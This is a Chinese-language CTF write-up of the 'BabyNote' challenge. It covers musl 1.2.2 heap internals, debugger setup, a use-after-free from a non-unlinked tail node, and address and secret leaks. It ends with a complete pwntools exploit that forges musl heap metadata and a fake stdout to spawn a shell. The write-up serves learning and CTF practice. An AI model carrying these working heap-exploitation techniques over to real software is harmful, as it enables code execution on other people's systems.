0%

musl pwn 初探+环境搭建

BabyNote 复现

1
2
3
4
5
6
babynote: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib/ld-musl-x86_64.so.1, stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,全开
1
2
3
4
musl libc (x86_64)
Version 1.2.2
Dynamic Program Loader
Usage: ./libc.so [options] [--] pathname [args]
  • version 1.2.2

环境搭建

第一次运行 musl 程序会出现以下报错:

1
2
➜  babynote ldd babynote 
./babynote: error while loading shared libraries: /lib/x86_64-linux-gnu/libc.so: invalid ELF header

接下来需要搭建 musl 环境:

1
2
3
4
5
sudo dpkg -i musl_1.1.21-2_amd64.deb 
sudo apt-get install -y musl musl-dev

sudo dpkg -i musl_1.2.2-4_amd64.deb
sudo apt-get install -y musl musl-dev
  • 如果是 ubuntu 的环境则推荐在 launchpad.net 上下载符号

1678348781333

  • Libc 的调试符号也可以在这个网站上找

1678348917905

  • 下载 musl-dbgsym_1.2.2-4_amd64.ddeb 并安装:
1
sudo dpkg -i musl-dbgsym_1.2.2-4_amd64.ddeb

启动程序,发现可以运行并且还有调试信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
pwndbg> p __malloc_context
$1 = {
secret = 15159866117235981951,
init_done = 1,
mmap_counter = 0,
free_meta_head = 0x0,
avail_meta = 0x55555555a130,
avail_meta_count = 94,
avail_meta_area_count = 0,
meta_alloc_shift = 0,
meta_area_head = 0x55555555a000,
meta_area_tail = 0x55555555a000,
avail_meta_areas = 0x55555555b000 <error: Cannot access memory at address 0x55555555b000>,
active = {0x0, 0x0, 0x0, 0x55555555a0e0, 0x0, 0x0, 0x0, 0x55555555a0b8, 0x0, 0x0, 0x0, 0x55555555a090, 0x0, 0x0, 0x0, 0x55555555a068, 0x0, 0x0, 0x0, 0x55555555a040, 0x0, 0x0, 0x0, 0x55555555a018, 0x0 <repeats 24 times>},
usage_by_class = {0 <repeats 48 times>},
unmap_seq = '\000' <repeats 31 times>,
bounces = '\000' <repeats 31 times>,
seq = 0 '\000',
brk = 93824992260096
}

最后补充一点:

  • 使用 patch 时要把 libc.so 给当成 ld(而不是 libc.so.6
  • 也就是使用如下代码进行 patch:
1
patchelf ./babynote --set-interpreter ./libc.so babynote1
  • patch 后就相当于使用题目提供的 libc.so 来进行调试,可能没有符号信息

漏洞分析

1
2
3
free((void *)chunk->name);                  // UAF
free((void *)chunk->note);
free(chunk);
  • UAF,但我们不能直接控制 free chunk
  • 在 “申请模块” 中,程序的核心结构体被单向链表组织起来
1
2
chunk->pre_chunk = head_chunk;
head_chunk = chunk;
  • 在 “释放模块” 中,被释放的结构体会被脱链,也就利用不了 UAF 堆块了
1
2
3
4
5
6
7
8
9
10
11
12
13
if ( chunk != head_chunk || head_chunk->pre_chunk )
{
if ( chunk->pre_chunk )
{
for ( i = &head_chunk; chunk != *i; i = &(*i)->pre_chunk )
;
*i = chunk->pre_chunk;
}
}
else
{
head_chunk = 0LL;
}
  • 但脱链的过程有一个漏洞:没有对尾节点进行特殊处理(尾节点释放时不会脱链)
  • PS:这段代码比较绕,建议画图理解

入侵思路

musl 1.2.2 采用了:malloc_context->meta_arena->meta->gropu(chunks) 这样的多级结构,并且 free 掉的 chunk 由 bitmap 直接管理(而不是放入某些链表中)

musl 与 libc 的堆结构完全不同:

  • 测试代码如下:
1
2
3
4
add(0x60,"a"*0x58,0x60,"b"*0x58)
add(0xe0,"c"*0xd8,0xe0,"d"*0xd8)
add(0xe0,"e"*0xd8,0xe0,"f"*0xd8)
dele(0xe0,"c"*0xd8)
  • GDB 输出结果如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pwndbg> mheap
secret : 0xff7c19f1b291b8fd
mmap_counter : 0x0
avail_meta : 0x55942a780248 (count: 87)
free_meta : 0
avail_meta_area : 0x55942a781000 (count: 0)
meta_area_head : 0x55942a780000
meta_area_tail : 0x55942a780000
active[2] : 0x55942a780130 (mem: 0x5594294dbc30) [0x30]
active[3] : 0x55942a7800e0 (mem: 0x5594294dbfb0) [0x40]
active[6] : 0x55942a780158 (mem: 0x5594294db840) [0x70]
active[7] : 0x55942a7800b8 (mem: 0x5594294dbf20) -> 0x55942a780108 (mem: 0x7f58909b9f40) [0x80]
active[11] : 0x55942a7801d0 (mem: 0x5594294db050) -> 0x55942a780090 (mem: 0x5594294dbe20) [0xf0]
active[15] : 0x55942a7801f8 (mem: 0x5594294db040) [0x1f0]
active[19] : 0x55942a780220 (mem: 0x5594294db030) [0x3f0]
active[23] : 0x55942a780018 (mem: 0x5594294db020) [0x7f0]
  • active[7] 似乎有点特殊,从一开始就有两个 meta
  • active[15] 中的 meta 都只能存放一个 chunk,当第二个 chunk 申请时,musl 就会重新分配一个 meta 使其插入 active[15]active[15] 中原来的 meta 就会因为没有可用的 chunk 而脱链
  • "c"*0xd8 释放时,该 chunk 所属的 meta 会重新插回 active[15],最后结果如上图
  • PS:刚刚释放的 chunk 不会马上被申请,要等到对应 meta 申请完毕以后才会把 free chunk 放回 avail chunk(chunk 的状态用 avail_mask/freed_mask 来表示)

泄露堆地址(程序基地址)的思路如下:

  • 申请 0x28 大小的 note1,此时 info1 note1 物理相邻
  • 利用堆风水使目标结构体为尾节点,释放尾节点(尾节点不会脱链,因此产生 UAF info1 和 UAF note1
  • 申请 0x38 大小的 note2,此时该 note2info2 会占用 UAF node1 的空间
  • 读取 UAF info1 就会把 info2 给当成 note1 并输出,泄露基地址
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
add("A"*0xc,"a"*0x28)
add("B"*0xc,"b"*0x28)
add("C"*0xc,"c"*0x28)

show("x"*0x28)
show("x"*0x28)
show("x"*0x28)

forget()

add("E"*0xc,"e"*0x28)
add("F"*0xc,"f"*0x28)

dele("E"*0xc)
add("eqqie","x"*0x38)
show("E"*0xc)

p.recvuntil(b"0x28:")
leak_addr = 0
for i in range(8):
leak_addr += int(p.recv(2).decode(), 16) << (i*8)
pro_base = leak_addr - 0x48b0
success("leak_addr >> "+hex(leak_addr))
success("pro_base >> "+hex(pro_base))

用同样的方法可以泄露 GOT 表上的函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
read_got = pro_base + 0x3fa8

add("A"*0x4, "a"*0x4)
forget()
add("B"*0x4, "b"*0x4)
add("C"*0x4, "c"*0x4)

dele("B"*0x4)
for i in range(7):
show("x"*0x28)

fake_note = p64(pro_base+0x4900) + p64(read_got)
fake_note += p64(4) + p64(8)
fake_note += p64(0)
add("C"*0x4, fake_note)
show("b"*4)

p.recvuntil("0x8:")
leak_addr = 0
for i in range(8):
leak_addr += int(p.recv(2).decode(), 16) << (i*8)
libc_base = leak_addr - 0x72740
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

并且用同样的方法来泄露 malloc_context->secret

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
for i in range(7):
add("y"*0x4, "y"*0x4)
forget()

heap_secret_ptr = libc_base + 0xad9c0
success("heap_secret_ptr >> "+hex(heap_secret_ptr))

forget()
add("A"*0x4, "a"*0x4)
add("B"*0x4, "b"*0x4)
dele("A"*0x4)
for i in range(7):
show("x"*0x28)

fake_note = p64(heap_base+0x48c0) + p64(heap_secret_ptr)
fake_note += p64(4) + p64(8)
fake_note += p64(0)
add("C"*0x4, fake_note)
show("a"*4)

p.recvuntil("0x8:")
heap_secret = 0
for i in range(8):
heap_secret += int(p.recv(2).decode(), 16) << (i*8)
success("heap_secret >> "+hex(heap_secret))

最后需要伪造 meta_area meta group chunk 并在 chunk 中写入 fake stdout

然后使得假的 meta dequeue 以实现 unlink,与此同时会劫持 stdout_used 写入我们伪造的 fake stdout 地址

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './babynote'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

local = 1
if local:
p = process(challenge)
else:
p = remote('119.13.105.35','10111')

def debug():
gdb.attach(p)
#gdb.attach(p,"b *$rebase(0x137E)\n")
#pause()

def cmd(op):
p.sendlineafter("option: ",str(op))

def add(name,note):
cmd(1)
p.sendlineafter("name size: ",str(len(name)))
p.sendafter("name: ",name)
p.sendlineafter("note size: ",str(len(note)))
p.sendafter("note content: ",note)

def show(name):
cmd(2)
p.sendlineafter("name size: ",str(len(name)))
p.sendafter("name: ",name)

def dele(name):
cmd(3)
p.sendlineafter("name size: ",str(len(name)))
p.sendafter("name: ",name)

def forget():
cmd(4)

#debug()
add("A"*0xc,"a"*0x28)
add("B"*0xc,"b"*0x28)
add("C"*0xc,"c"*0x28)

show("x"*0x28)
show("x"*0x28)
show("x"*0x28)

forget()

add("E"*0xc,"e"*0x28)
add("F"*0xc,"f"*0x28)

dele("E"*0xc)
add("eqqie","x"*0x38)
show("E"*0xc)

p.recvuntil(b"0x28:")
leak_addr = 0
for i in range(8):
leak_addr += int(p.recv(2).decode(), 16) << (i*8)
pro_base = leak_addr - 0x48b0
heap_base = pro_base
success("leak_addr >> "+hex(leak_addr))
success("pro_base >> "+hex(pro_base))

read_got = pro_base + 0x3fa8

add("A"*0x4, "a"*0x4)
forget()
add("B"*0x4, "b"*0x4)
add("C"*0x4, "c"*0x4)

dele("B"*0x4)
for i in range(7):
show("x"*0x28)

fake_note = p64(pro_base+0x4900) + p64(read_got)
fake_note += p64(4) + p64(8)
fake_note += p64(0)
add("C"*0x4, fake_note)
show("b"*4)

p.recvuntil("0x8:")
leak_addr = 0
for i in range(8):
leak_addr += int(p.recv(2).decode(), 16) << (i*8)
libc_base = leak_addr - 0x72740
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

stdout_used = libc_base + 0xad3b0
success("stdout_used >> "+hex(stdout_used))

for i in range(7):
add("y"*0x4, "y"*0x4)
forget()

heap_secret_ptr = libc_base + 0xad9c0
success("heap_secret_ptr >> "+hex(heap_secret_ptr))

forget()
add("A"*0x4, "a"*0x4)
add("B"*0x4, "b"*0x4)
dele("A"*0x4)
for i in range(7):
show("x"*0x28)

fake_note = p64(heap_base+0x48c0) + p64(heap_secret_ptr)
fake_note += p64(4) + p64(8)
fake_note += p64(0)
add("C"*0x4, fake_note)
show("a"*4)

p.recvuntil("0x8:")
heap_secret = 0
for i in range(8):
heap_secret += int(p.recv(2).decode(), 16) << (i*8)
success("heap_secret >> "+hex(heap_secret))

for i in range(7):
add("y"*0x4, "y"*0x4)
forget()

new_heap2 = libc_base - 0x7000
success("new_heap2 >> "+hex(new_heap2))

add("A"*0x4, "a"*0x4)

execve = libc_base + 0x4e0c0
fake_area_addr = new_heap2 + 0x1000
fake_meta_ptr = fake_area_addr + 0x20
fake_group_ptr = fake_meta_ptr + 0x30
fake_iofile_ptr = fake_group_ptr + 0x10
fake_chunk_ptr = fake_iofile_ptr - 0x8

success("execve >> "+hex(execve))
success("fake_area_addr >> "+hex(fake_area_addr))
success("fake_meta_ptr >> "+hex(fake_meta_ptr))
success("fake_group_ptr >> "+hex(fake_group_ptr))
success("fake_iofile_ptr >> "+hex(fake_iofile_ptr))

fake_area = ""
fake_area += p64(heap_secret) + "M" * 0x18

fake_group = ""
fake_group += p64(fake_meta_ptr)

fake_iofile = ""
fake_iofile += p64(0)
fake_iofile += "/bin/sh\x00" + 'X' * 32 + p64(0xdeadbeef) + 'X' * 8 + p64(0xbeefdead) + p64(execve) + p64(execve)
fake_iofile = fake_iofile.ljust(0x500, "\x00")

fake_meta = ""
fake_meta += p64(fake_iofile_ptr) + p64(stdout_used)
fake_meta += p64(fake_group_ptr)
fake_meta += p64((1 << 1)) + p64((20 << 6) | (1 << 5) | 1 | (0xfff << 12))
fake_meta = fake_meta.ljust(0x30)

payload = "z"*(0x1000-0x20)
payload += fake_area + fake_meta + fake_group + fake_iofile
payload = payload.ljust(0x2000, "z")

add("B"*0x4, payload)
dele("A"*0x4)

for i in range(7):
show("x"*0x28)

fake_note = p64(heap_base+0x4960) + p64(fake_iofile_ptr)
fake_note += p64(4) + p64(4)
fake_note += p64(0)
add("C"*0x4, fake_note)
add("D"*0x4, "d"*4)

dele("y"*0x4)

p.sendline("5")

p.interactive()

小结:

musl pwn 初探,基本上就是调别人的 exp,下次争取自己打